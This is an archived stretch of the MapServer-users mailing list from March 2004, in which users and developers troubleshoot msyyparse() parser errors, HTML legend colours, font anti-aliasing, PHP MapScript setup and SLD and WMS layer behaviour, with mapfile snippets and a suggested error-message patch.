EXPRESSION ([COLOR] = 40) SIZE 3 SYMBOL 7 COLOR 255 140 0 END CLASS NAME "Dh" EXPRESSION ([COLOR] = 1) SIZE 3 SYMBOL 7 COLOR 255 50 0 END CLASS NAME "Passstrassen" EXPRESSION ([COLOR] = 6) SIZE 3 SYMBOL 'bahnlinie overlay' #SYMBOL 7 COLOR 255 0 255 END The map renders perfect. All the colors are assigned to the right lines. But in the html legend the colors are wrong. Class Ag is light blue - correct, then classes Bh to Dh are also light blue - wrong!. The class "Passstrassen" is again correct. If I switch to a "normal" gif legend, everything appears correct! Here is also my legendtemplate: [leg_class_html visibility_flag=15] [leg_class_name] [/leg_class_html] The same mapfile and legendtemplate worked fine in the 3.6.6-Mapserver Version. Anyone an idea, what is going on here? Is this the same issue as my suddenly poping of msyyparse-error as an error in the expression parsing? Is it something funky with my data? Any hint would be appreciated! best regards C?dric PS: Working with MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is running under Linux RH7.2 > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 22, 2004 5:38 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] msyyparse() - parse error > > > Hi there: Msyyparse() is the function that evaluates > MapServer expressions. There > are 3 possibilities: > > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. > > Although 1) and 3) are possible they seem unlikely. My guess > is that there is an > issue with certain data values and the expressions. One > example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: > > ('[placename]' = 'foo') which would become in the case of O'Reilly, > > ('O'Reilly' = 'foo') and this would cause a parse error. > > Could also happen with numeric fields that didn't contain > numbers or are empty. > We'd really need to see your mapfile to make the call. > > Steve > > >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> > Hello list! > > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is > running under > Linux RH7.2. > > Now i'm reciving sometimes this strange error "msyyparse(): Expression > parser error. parse error". > (In the old version, everyting worked perfect!) > > I'm not able to reproduce this error regularly. Sometimes it > triggers when > i'm switching some layers on/off, sometimes it triggers when > i'm just paning > (same layer-set/same scale). Sometimes it triggers only one > time, othertimes > up to 60 times with still the same mapfile. > > I read from the archives that there might be some issue about > the querrying > in postgis but there is not much more. > > So I guess I'm stuck. Has anybody a hint for me in which > direction to go on > with my quest? May anybody explain what the msyyparse does, > and when it is > called? > > Any hint would be appreciated! > If needed I would be glad to provide further information. > > best regards > mit freundlichen Gr?ssen > > C?dric M?ri > > ******************************************** > Kanton Solothurn > Amt f?r Geoinformation > Abt. SO!GIS Koordinationsstelle > R?tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214 > http://www.sogis.so.ch > ******************************************** > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ray.ward at mapfusion.com Wed Mar 24 07:31:46 2004 From: ray.ward at mapfusion.com (Ray Ward) Date: Wed, 24 Mar 2004 10:31:46 -0500 Subject: [Mapserver-users] non-anti-aliased TrueType Fonts possible?, or Bitmap Fonts? Message-ID: Hi, I have a couple of questions about the font possibilities for Mapserver labels. I am using Mapserver v4.0.1 on Solaris 8 (Sparc) with gd v2.0.22, freetype v2.1.7. 1) How can I turn Anti-Aliasing off? I've tried "ANTIALIAS FALSE" in the map file and it doesn't seem to make any difference? LABEL TYPE TRUETYPE ANTIALIAS FALSE FONT arial COLOUR 0 0 0 OUTLINECOLOUR 255 255 255 SIZE 8 BUFFER 1 POSITION ur END 2) Is it possible to use bitmap fonts? such as .FON files or .BDF files? seems whenever I use the TYPE BITMAP that all the fonts regardless of the FONT statement come out identicle, a built in predefined bitmap font? LABEL TYPE BITMAP ANTIALIAS FALSE FONT arial_bdf COLOUR 0 0 0 OUTLINECOLOUR 255 255 255 SIZE SMALL BUFFER 1 POSITION ur END Any help with either of these problems would be appreciated... Ray, _______________________________ Ray Ward IT Technician MapFusion Technologies Inc. http://www.mapfusion.com _______________________________ NOTICE: This message is intended only for the use of the individual or entity to which it is addressed; and it, including any attachments, may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that any disclosure, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please delete it from your system without copying or forwarding it and notify us by telephone (905-709-1925) or by return e-mail immediately. MapFusion Corp. and its affiliated companies do not accept responsibility or liability for any loss or damage arising in any way from your receipt or use or for any errors or omissions in the contents of this communication. From Cedric.Moeri at bd.so.ch Wed Mar 24 07:38:19 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Wed, 24 Mar 2004 16:38:19 +0100 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: <5B025B1F39D6D4119F5700508BEEEC660142331F@srsofaioi4546.ktso.ch> Hi list! i'm still stuck on this problem. So my question for the moment is the following: Is it possible to have an error message with a little more information? For the moment it only tells me "msyyparse(): Expression parser error. parse error". It would be great to have a filename and a line/record number or at least a some twenty characters of the ofending data or expression. It would be much more easier to investigate the error. Is this already possible (through some debug-level or other switches I don't know about) or would it be a big challenge to add such a feature? best regards C?dric > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 22, 2004 5:38 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] msyyparse() - parse error > > > Hi there: Msyyparse() is the function that evaluates > MapServer expressions. There > are 3 possibilities: > > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. > > Although 1) and 3) are possible they seem unlikely. My guess > is that there is an > issue with certain data values and the expressions. One > example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: > > ('[placename]' = 'foo') which would become in the case of O'Reilly, > > ('O'Reilly' = 'foo') and this would cause a parse error. > > Could also happen with numeric fields that didn't contain > numbers or are empty. > We'd really need to see your mapfile to make the call. > > Steve > > >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> > Hello list! > > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is > running under > Linux RH7.2. > > Now i'm reciving sometimes this strange error "msyyparse(): Expression > parser error. parse error". > (In the old version, everyting worked perfect!) > > I'm not able to reproduce this error regularly. Sometimes it > triggers when > i'm switching some layers on/off, sometimes it triggers when > i'm just paning > (same layer-set/same scale). Sometimes it triggers only one > time, othertimes > up to 60 times with still the same mapfile. > > I read from the archives that there might be some issue about > the querrying > in postgis but there is not much more. > > So I guess I'm stuck. Has anybody a hint for me in which > direction to go on > with my quest? May anybody explain what the msyyparse does, > and when it is > called? > > Any hint would be appreciated! > If needed I would be glad to provide further information. > > best regards > mit freundlichen Gr?ssen > > C?dric M?ri > > ******************************************** > Kanton Solothurn > Amt f?r Geoinformation > Abt. SO!GIS Koordinationsstelle > R?tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214 > http://www.sogis.so.ch > ******************************************** > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From dmorissette at dmsolutions.ca Wed Mar 24 07:50:01 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 24 Mar 2004 10:50:01 -0500 Subject: [Mapserver-users] getLayerByName phpMapscript In-Reply-To: <40616DBF.10603@cerene.fr> References: <40616DBF.10603@cerene.fr> Message-ID: <4061AE29.6060604@dmsolutions.ca> St?phane RIFF wrote: > I'd like to add dynamically a layer to my map only and only if that > layer doesn't already exist. > > The problem is : getLayerByName returns a layerObject if the layer exist > but if it doesn't exist the function > terminate the script and print the error. So i try with '@' to stop > error message but the script still die on getLayerByName. > Which version of MapServer are you using? 3.6.x? getLayerByName() was changed in version 4.0 to produce only a warning that can be trapped with '@'. If you are using 4.0 and still get that error then please file a bug about this in bugzilla. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed Mar 24 08:30:38 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 24 Mar 2004 11:30:38 -0500 Subject: [Mapserver-users] html legend - strange behaviour In-Reply-To: <5B025B1F39D6D4119F5700508BEEEC660142331E@srsofaioi4546.ktso.ch> References: <5B025B1F39D6D4119F5700508BEEEC660142331E@srsofaioi4546.ktso.ch> Message-ID: <4061B7AE.1080207@dmsolutions.ca> M?ri C?dric wrote: > > The same mapfile and legendtemplate worked fine in the 3.6.6-Mapserver > Version. > > Anyone an idea, what is going on here? Is this the same issue as my suddenly > poping of msyyparse-error as an error in the expression parsing? Is it > something funky with my data? > I tried your set of classes and legend template with one of my mapfiles and I get the right colors. This, combined with your odd msyyparse() error suggests that there may be something wrong with your build or your system config. Normally, parser errors in a mapfile should return a meaningful error message with MapServer 4, not the cryptic msyyparse() error that you got and that is probably coming from an area of the code that never fails in normal conditions. The best I can suggest is to try doing a clean build of MapServer, and double-checking all the support libs (GD, freetype, libpng, gdal, etc.) to make sure that you don't have any duplicate copy of any lib and that MapServer is using the libs that you think it is using. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Ballini.Yvain at seat.it Wed Mar 24 08:36:58 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Wed, 24 Mar 2004 17:36:58 +0100 Subject: [Mapserver-users] Url-defined feature data Message-ID: <4B1A1EC0790F054193453C48725D431829F9D2@MSGBE1V1.seat.it> Hi List, I would like to add some feature on my url in order to show dynamically some symbols on my map (of which I set the coordinates in the url). For doing it I've add in my map file a layer definition like that: LAYER NAME pallino TYPE POINT STATUS ON CLASS NAME "pallino" SYMBOL "pallino" END END And I call this layer like this in the Url: "...&layer=pallino&...&imgext=515966+5044030+516931+5044884..&map_pallin o_class=new&map_pallino_class_points=516400+5044530&map=e%3A%5Cmapserver %5Citasca%5Cdemo.map&..." With this url, I'm expecting to see a symbol "pallino" quite in the center of my map but I see nothing. Could you someone tell me where I'm wrong, and how I should do in order to show correctly my symbol? Thanks a lot? Yvain. From EZS at DeStraat.NL Wed Mar 24 04:43:17 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Wed, 24 Mar 2004 13:43:17 +0100 Subject: [Mapserver-users] How to Embedded text or image in map Message-ID: Hello Xavier, You can embed positioned elements like text or elements the following way: LAYER NAME "credits" STATUS DEFAULT TRANSFORM FALSE TYPE ANNOTATION FEATURE POINTS 10, 10 END TEXT 'www.strategis.fr' END CLASS LABEL TYPE TRUETYPE FONT "arial" SIZE 11 ANTIALIAS TRUE COLOR 0 0 0 END END END This layer should be added as the last layer in the map file to show on top. Same for images (this could be the scaelbar, however you will need some serverside scripting to rename/copy the current scalebar to the defined path/filename provided in the layer, I don't know how to get this dynamic) LAYER NAME "scalebar" TYPE RASTER STATUS DEFAULT TRANSFORM FALSE DATA "/path/to/file/scalbar.png" END Best regards, Emil Zegers >>> "Xavier Mauclaire" 03/24/04 11:03am >>> Hi i'd like to embed en simple text in the map image generated by mapserver. As i can embed the scalebar i'd like to do the same thing with e text or a image. regards Xavier MAUCLAIRE Conseils et d?veloppements en SIG STRATEGIS S.A. Parc 2000 19, rue Joe Dassin 34184 Montpellier Cedex 4 T?l. +33 (0) 4.67.40.75.40 Fax +33 (0) 4.67.40.75.41 www.strategis.fr ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From steve.lime at dnr.state.mn.us Wed Mar 24 10:14:42 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 24 Mar 2004 12:14:42 -0600 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: I don't recall any major changes to the parser, but I may be wrong. You've got tons of expressions. You can simplify things in a number of places by using string expressions instead of logical expression. For example, in layer klassierung an expression like 'EXPRESSION ([COLOR] = 4)' is much more efficient as 'EXPRESSION 4' (you'll have to set a CLASSITEM). Making that change would eliminate a number of layers as the culprit. You can then concentrate on rco1400 and bdbed. Steve >>> M?ri C?dric 3/22/2004 11:04:20 AM >>> Hi Steve! thanks for the hints. So i'm going to check my stuff once again, but this time i've got an idea what i'm looking for ;-) I attached my mapfile, if you like to have a look at it (it's quite a bunch of lines). Were there any recent changes in the msyyparse()-function between ms3.6.6 and ms4.0.1? This mapfile worked quite fine in the "old" system (I didn't see this error before working with 4.0.1). What i'm not understandig too, is that the errors triggers sometimes one time and then up to 60 times. Thanks for your help regards Cedric > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 22, 2004 5:38 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] msyyparse() - parse error > > > Hi there: Msyyparse() is the function that evaluates > MapServer expressions. There > are 3 possibilities: > > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. > > Although 1) and 3) are possible they seem unlikely. My guess > is that there is an > issue with certain data values and the expressions. One > example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: > > ('[placename]' = 'foo') which would become in the case of O'Reilly, > > ('O'Reilly' = 'foo') and this would cause a parse error. > > Could also happen with numeric fields that didn't contain > numbers or are empty. > We'd really need to see your mapfile to make the call. > > Steve > > >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> > Hello list! > > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is > running under > Linux RH7.2. > > Now i'm reciving sometimes this strange error "msyyparse(): Expression > parser error. parse error". > (In the old version, everyting worked perfect!) > > I'm not able to reproduce this error regularly. Sometimes it > triggers when > i'm switching some layers on/off, sometimes it triggers when > i'm just paning > (same layer-set/same scale). Sometimes it triggers only one > time, othertimes > up to 60 times with still the same mapfile. > > I read from the archives that there might be some issue about > the querrying > in postgis but there is not much more. > > So I guess I'm stuck. Has anybody a hint for me in which > direction to go on > with my quest? May anybody explain what the msyyparse does, > and when it is > called? > > Any hint would be appreciated! > If needed I would be glad to provide further information. > > best regards > mit freundlichen Gr?ssen > > C?dric M?ri > > ******************************************** > Kanton Solothurn > Amt f?r Geoinformation > Abt. SO!GIS Koordinationsstelle > R?tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214 > http://www.sogis.so.ch > ******************************************** > > From steve.lime at dnr.state.mn.us Wed Mar 24 10:40:50 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 24 Mar 2004 12:40:50 -0600 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: I can check on the error message detail. The parser works on tokens and may not have access to the entire expression text. A quick peek tells me that we'd need to exit the msyyerror function at the bottom of maplexer.l, and then recompile. Try editing that function and changing: int msyyerror(char *s) { msSetError(MS_PARSEERR, s, "msyyparse()"); return(0); } to int msyyerror(char *s) { msSetError(MS_PARSEERR, "Error is '%s' in expression %s.", "msyyparse()", s, msyystring); return(0); } I've not tested but this should work. Let me know if that helps debug. If so I'll make that change in CVS... Steve >>> M?ri C?dric 3/24/2004 9:38:19 AM >>> Hi list! i'm still stuck on this problem. So my question for the moment is the following: Is it possible to have an error message with a little more information? For the moment it only tells me "msyyparse(): Expression parser error. parse error". It would be great to have a filename and a line/record number or at least a some twenty characters of the ofending data or expression. It would be much more easier to investigate the error. Is this already possible (through some debug-level or other switches I don't know about) or would it be a big challenge to add such a feature? best regards C?dric > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 22, 2004 5:38 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] msyyparse() - parse error > > > Hi there: Msyyparse() is the function that evaluates > MapServer expressions. There > are 3 possibilities: > > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. > > Although 1) and 3) are possible they seem unlikely. My guess > is that there is an > issue with certain data values and the expressions. One > example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: > > ('[placename]' = 'foo') which would become in the case of O'Reilly, > > ('O'Reilly' = 'foo') and this would cause a parse error. > > Could also happen with numeric fields that didn't contain > numbers or are empty. > We'd really need to see your mapfile to make the call. > > Steve > > >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> > Hello list! > > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is > running under > Linux RH7.2. > > Now i'm reciving sometimes this strange error "msyyparse(): Expression > parser error. parse error". > (In the old version, everyting worked perfect!) > > I'm not able to reproduce this error regularly. Sometimes it > triggers when > i'm switching some layers on/off, sometimes it triggers when > i'm just paning > (same layer-set/same scale). Sometimes it triggers only one > time, othertimes > up to 60 times with still the same mapfile. > > I read from the archives that there might be some issue about > the querrying > in postgis but there is not much more. > > So I guess I'm stuck. Has anybody a hint for me in which > direction to go on > with my quest? May anybody explain what the msyyparse does, > and when it is > called? > > Any hint would be appreciated! > If needed I would be glad to provide further information. > > best regards > mit freundlichen Gr?ssen > > C?dric M?ri > > ******************************************** > Kanton Solothurn > Amt f?r Geoinformation > Abt. SO!GIS Koordinationsstelle > R?tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214 > http://www.sogis.so.ch > ******************************************** > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From siki at agt.bme.hu Wed Mar 24 13:07:47 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Wed, 24 Mar 2004 20:07:47 -0100 (GMT+1) Subject: [Mapserver-users] "postgis ---> mapserver" query {Scanned} In-Reply-To: Message-ID: Hi, On Tue, 23 Mar 2004, Saurabh Data wrote: > But to be honest, I dont know much about the shape files. And if they have > *.shp extension then I could not find any of them being created or present > in my directory. Shape files are NOT created by mapserver, but mapserver can publish shape files to the internet community. A shape file consist of three or more files at the same directory/folder. The extensions are .shp geometry .dbf attributes in dBase format .shx MBR for the items in the shp file So you should have shape files or any other mapserver supported GIS data (See gdal/ogr or raster formats) If you use itasca demo then you can findshape files in the data subdirectory. > > Browsing the web I got the following definition > > "stores nontopological geometry and attribute information for the spatial > features in a data set. The geometry for a feature is stored as a shape > comprising a set of vector coordinates. Shapefiles handle single features > that overlap or that are noncontiguous. Shapefiles can support point, line > and area features. > " > But it is still not clear... > Nice definition. Bye Zoltan From steve.lime at dnr.state.mn.us Wed Mar 24 10:57:36 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 24 Mar 2004 12:57:36 -0600 Subject: [Mapserver-users] non-anti-aliased TrueType Fonts possible?, or Bitmap Fonts? Message-ID: For 1) that's the way to do it. I believe that by default antialiasing is off so you could also just remove the line. See if you can create a test case (1 big piece of text centered in an image) and test it out. If there's no effect file a bug along with the test case. For 2) the only bitmap font support is using the internal GD fonts. The FONT value is ignored in the case of TYPE BITMAP. Sorry. Steve >>> "Ray Ward" 3/24/2004 9:31:46 AM >>> Hi, I have a couple of questions about the font possibilities for Mapserver labels. I am using Mapserver v4.0.1 on Solaris 8 (Sparc) with gd v2.0.22, freetype v2.1.7. 1) How can I turn Anti-Aliasing off? I've tried "ANTIALIAS FALSE" in the map file and it doesn't seem to make any difference? LABEL TYPE TRUETYPE ANTIALIAS FALSE FONT arial COLOUR 0 0 0 OUTLINECOLOUR 255 255 255 SIZE 8 BUFFER 1 POSITION ur END 2) Is it possible to use bitmap fonts? such as .FON files or .BDF files? seems whenever I use the TYPE BITMAP that all the fonts regardless of the FONT statement come out identicle, a built in predefined bitmap font? LABEL TYPE BITMAP ANTIALIAS FALSE FONT arial_bdf COLOUR 0 0 0 OUTLINECOLOUR 255 255 255 SIZE SMALL BUFFER 1 POSITION ur END Any help with either of these problems would be appreciated... Ray, _______________________________ Ray Ward IT Technician MapFusion Technologies Inc. http://www.mapfusion.com _______________________________ NOTICE: This message is intended only for the use of the individual or entity to which it is addressed; and it, including any attachments, may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that any disclosure, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please delete it from your system without copying or forwarding it and notify us by telephone (905-709-1925) or by return e-mail immediately. MapFusion Corp. and its affiliated companies do not accept responsibility or liability for any loss or damage arising in any way from your receipt or use or for any errors or omissions in the contents of this communication. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Wed Mar 24 11:11:37 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 24 Mar 2004 14:11:37 -0500 Subject: [Mapserver-users] MapServer on WinCE Message-ID: <4061DD69.8070007@dmsolutions.ca> Hi, We've been asked if it would be possible to build and run MapServer under Windows CE 4.2.NET. We've done a bit of research and found a few resources such as Apache-CE and GNUWINCE (gcc), but nothing that allows us to confirm whether or not the whole of MapServer could be ported with a reasonable amount of effort. Has anyone ever tried that? Or maybe someone with expertise porting pure C apps to WinCE could give us an idea of what could be involved? Unfortunately the target device doesn't run Linux so that's not an option. Thanks in advance for any hints, Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From siki at agt.bme.hu Wed Mar 24 13:38:21 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Wed, 24 Mar 2004 20:38:21 -0100 (GMT+1) Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. {Scanned} {Scanned} In-Reply-To: <1080063008.406074202e16e@www.agi-lan.com> Message-ID: Hi, On Tue, 23 Mar 2004, Jason M. Nielsen wrote: > Is there a way to perform a query on shape files for a string match then return > that record and extract specific data about it? > > Example: > > I have a shape file of all roads in an area. Among other attributes all of these > roads have a name and vertex coordinates. I would like to be able to enter a > street name, find it in the shape file then zoom to say the first X,Y point > starting that road. > > This would probably be very easy using PostGIS and php but unforunately as > things stand these are not available to me atm. All I have is the cgi mapserver > and shape files. They want to keep shape files as the datasource as well due to > some other issues. I could solve it with cgi mapserver, template and form. This example based on mapserver 4.x Create a form in your html ...
Enter value: ... in your map file you shoud ad TEMPLATE HEADER FOOTER to the queried layer. I hope this help. Bye Zoltan From assefa at dmsolutions.ca Wed Mar 24 12:18:00 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 24 Mar 2004 15:18:00 -0500 Subject: [Mapserver-users] SLD and multiple NamedLayer In-Reply-To: <12394.212.238.227.182.1080128225.squirrel@webmail.xs4all.nl> References: <12394.212.238.227.182.1080128225.squirrel@webmail.xs4all.nl> Message-ID: <4061ECF8.9000606@dmsolutions.ca> Bart, I have tried to debug the problem this morning but was not successful. I can reproduce this on a windows machine but the the same setting works on a Linux setup. What is even worst was that on Windows, the request works when I am in the debugger. I could not really pin point where was the problem but It seems that the inital parsing of the XML is the probelm (the XML seems to be valid but the parser returns an error). I have entered a bug on this for now in mapserver (bug 601). I will give it another shot in few days. Later, bartvde at xs4all.nl wrote: > Hi list, > > is it possible with Mapserver as an SLD WMS to use multiple NamedLayer > elements in the SLD document? > > When we use only one NamedLayer with one Rule, everything works fine. When > we use 2 NamedLayer elements, the original map gets drawn. We also tried > copying the LAYER in the MAP file, so that we did not reference the same > NamedLayer twice. This does not make any difference, the layer is rendered > without any Filter/SLD applied. > > The reason we want to use this kind of SLD is to have a selection drawn on > top of another selection, and have the result in one image. > > Any info appreciated. > > > > Gemeentes1 > > xxx1 > > > > > GEMNAAM > Amsterdam > > > > > center-line > > > #ffff00 > 10.0 > > > > > > > > Gemeentes2 > > xxx2 > > > > > GEMNAAM > Amsterdam > > > > > center-line > > > #0000ff > 2.0 > > > > > > > > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From eduardo at consultoria.eti.br Wed Mar 24 12:18:27 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 24 Mar 2004 17:18:27 -0300 Subject: [Mapserver-users] which navigation tools to use? Message-ID: <20040324201827.13829.qmail@hm47.locaweb.com.br> Hi, I'm trying to evaluate the best navigation toolkit that fit my needs. To do this I'm collecting some information about each one and the most important: some opinions( the god and the bad things) from who has already used anyone of these tools. - ROSA - jBox - DBox - MapBender - is there another? thanks. Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From mark at markrodrigo.com Wed Mar 24 12:28:29 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Wed, 24 Mar 2004 13:28:29 -0700 Subject: [Mapserver-users] RE: Populate HWY Symbol with Field Text & Where to Get Mexican HWY Symbols Message-ID: Eric/Paul: Thanks...I had success with the blank highway shield and text on top of that. I was just not sure if there was another method. This works fine. THanks Mark From mapgisnewbies at yahoo.com Wed Mar 24 10:00:11 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Wed, 24 Mar 2004 10:00:11 -0800 (PST) Subject: [Mapserver-users] legend not show up from a WMS layer Message-ID: <20040324180011.72021.qmail@web60004.mail.yahoo.com> Hi all, I got a newbie question about legend. I have a map file and one of the layers is using WMS as connection type. All the other layers are just using shape file as data source. And I have a template file for displaying legends. Here is the content of the legend template file: [leg_layer_html opt_flag=15] [if name=layer_type oper=neq value=4] [metadata name=wms_title][if name=wms_title oper=isnull][leg_layer_name][/if] [/if] [/leg_layer_html] All the layers with shape file as data sources can display their legend correctly, but not the WMS one thought. From what I understand, [leg_icon] is used to display the legend images and it will look into the setting in the first class of each layer. That's why I suspect that the legend of the WMS doesn't show is due to the missing of class setting in this layer. When I try to put in a class object in the WMS layer, this change make my result map look funny; the result map just filled up with one single color which is specified by the class object I just put in. I guess I set up something wrongly here. Could anyone give me some hints on this problem to make the legend show up? Also, could I make the mapserver to get the legend setting from remote WMS server's mapfile instead of my mapfile here ? I am new to this stuffs, if I misunderstood anything, just point me out. Any help would be much appreciated. Thanks in advance, wei __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html From aaronr at ccalmr.ogi.edu Wed Mar 24 15:01:39 2004 From: aaronr at ccalmr.ogi.edu (Aaron Racicot) Date: Wed, 24 Mar 2004 15:01:39 -0800 Subject: [Mapserver-users] Funny behavior in new 4.0.1 setup... Message-ID: <200403242301.i2ON1dr9973787@amb24.ccalmr.ogi.edu> Hello, I am upgrading from an old Alpha with Mapserver 3.6 to a new setup: RedHat Enterprise Linux 3.0 AS on Intel Box (2.8gHz,1G,Dual 40G drives) Mapserver/Mapscript - 4.0.1 Postgresql - 7.4.2 Postgis - 0.8.1 PHP - 4.3.4 Maplab - 2.1-rc3 Chameleon 1.1alpha-20031031 chameleon-sample - From MapTools.org The problem I am having has to do with my installation of Mapscript. Upon doing a simple: dl("php_mapscript.so"); I am able to do a phpinfo() and see Mapserver installed and looking good. I am even able to do things like: $array_demo = ms_TokenizeMap("demo.map"); And I can look at the output array and all is well. Where I am having problems is that constants (like MS_PNG) are not available. I get the following in my apache log when trying to access MS_PNG: [Wed Mar 24 14:44:23 2004] [error] [client 129.95.72.84] PHP Notice: Use of undefined constant MS_PNG - assumed 'MS_PNG' in /src/mapserver_4_0_1/maplab/maplab-2.1-rc3/projects/gmf_apps/test3/globprefs .php on line 126, referer: http://129.95.72.140/maplab/projects/gmf_apps/test3/ Did something go wrong with my build or is there something obvious that I missed when reading about version 4.x? Thanks Aaron Aaron Racicot Oregon Graduate Institute aaronr at ccalmr.ogi.edu From keon at nacse.org Wed Mar 24 15:24:30 2004 From: keon at nacse.org (Dylan Keon) Date: Wed, 24 Mar 2004 15:24:30 -0800 Subject: [Mapserver-users] Funny behavior in new 4.0.1 setup... In-Reply-To: <200403242301.i2ON1dr9973787@amb24.ccalmr.ogi.edu> References: <200403242301.i2ON1dr9973787@amb24.ccalmr.ogi.edu> Message-ID: <406218AE.4020800@nacse.org> Aaron Racicot wrote: > Hello, > I am upgrading from an old Alpha with Mapserver 3.6 to a new setup: > > RedHat Enterprise Linux 3.0 AS on Intel Box (2.8gHz,1G,Dual 40G drives) > Mapserver/Mapscript - 4.0.1 > Postgresql - 7.4.2 > Postgis - 0.8.1 > PHP - 4.3.4 > Maplab - 2.1-rc3 > Chameleon 1.1alpha-20031031 > chameleon-sample - From MapTools.org > > The problem I am having has to do with my installation of Mapscript. Upon > doing a simple: > > dl("php_mapscript.so"); > > I am able to do a phpinfo() and see Mapserver installed and looking good. I > am even able to do things like: > > 